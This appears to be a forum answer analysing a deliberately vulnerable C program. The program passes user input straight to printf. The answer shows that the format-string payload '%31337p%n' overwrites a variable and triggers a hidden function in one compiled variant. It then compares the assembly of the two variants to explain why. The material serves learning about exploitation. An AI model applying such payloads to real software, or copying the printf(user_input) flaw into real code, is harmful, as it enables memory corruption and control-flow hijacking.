#include
int main()
{
char s[200]
int a=123;
int b=&a;
scanf(\"%50s\",s);
printf(s);
if (a==31337)
func();
}
Let's try with and without printing:
$ cat > f.c << \EOF
#include <stdio.h>
void func() {
fprintf(stderr, "func\n");
}
int main()
{
char s[200];
int a=123;
int b=&a;
#ifdef FIXER
fprintf(stderr, "%p\n", b); /* make "b" actually used somewhere */
#endif
scanf("%50s",s);
printf(s);
if (a==31337)
func();
}
EOF
$ gcc --version | head -n 1; uname -m
gcc (Debian 4.7.2-5) 4.7.2
i686
$ gcc -S f.c -o doesnt_work.s
f.c: In function 'main':
f.c:10:11: warning: initialization makes integer from pointer without a cast [enabled by default]
$ gcc -S -DFIXER f.c -o does_work.s
f.c: In function 'main':
f.c:10:11: warning: initialization makes integer from pointer without a cast [enabled by default]
$ gcc doesnt_work.s -o doesnt_work; gcc does_work.s -o does_work
$ echo '%31337p%n' | ./does_work > /dev/null
0xbfe75970
func
$ echo '%31337p%n' | ./doesnt_work > /dev/null
Segmentation fault
As stated in the question, we clearly see that without printing b
first it fails.
Let's compare what is hapenning inside:
$ diff -ur does_work.s doesnt_work.s
--- does_work.s 2013-02-06 03:17:06.000000000 +0300
+++ doesnt_work.s 2013-02-06 03:16:52.000000000 +0300
@@ -29,8 +29,6 @@
.size func, .-func
.section .rodata
.LC1:
- .string "%p\n"
-.LC2:
.string "%50s"
.text
.globl main
@@ -48,15 +46,9 @@
movl $123, 16(%esp)
leal 16(%esp), %eax
movl %eax, 220(%esp)
- movl stderr, %eax
- movl 220(%esp), %edx /* !!! */
- movl %edx, 8(%esp) /* !!! */
- movl $.LC1, 4(%esp)
- movl %eax, (%esp)
- call fprintf
leal 20(%esp), %eax
movl %eax, 4(%esp)
- movl $.LC2, (%esp)
+ movl $.LC1, (%esp)
call __isoc99_scanf
leal 20(%esp), %eax
movl %eax, (%esp)
On marked lines we see "get value of b
into %edx, then put it as 3'rd argument in stack."
As printf and scanf use cdecl call convention, the stack remains more or less the same across invocations, so that third argument remains available for the vulnerable printf
for setting.
When we don't print b
, it does not get into stack to be easily available for our injected format string.
With enough %p%p%p%p%p%p...
we should be able to reach our actual a
or b
anyway, but the limitation of 50 input characters is getting in our way.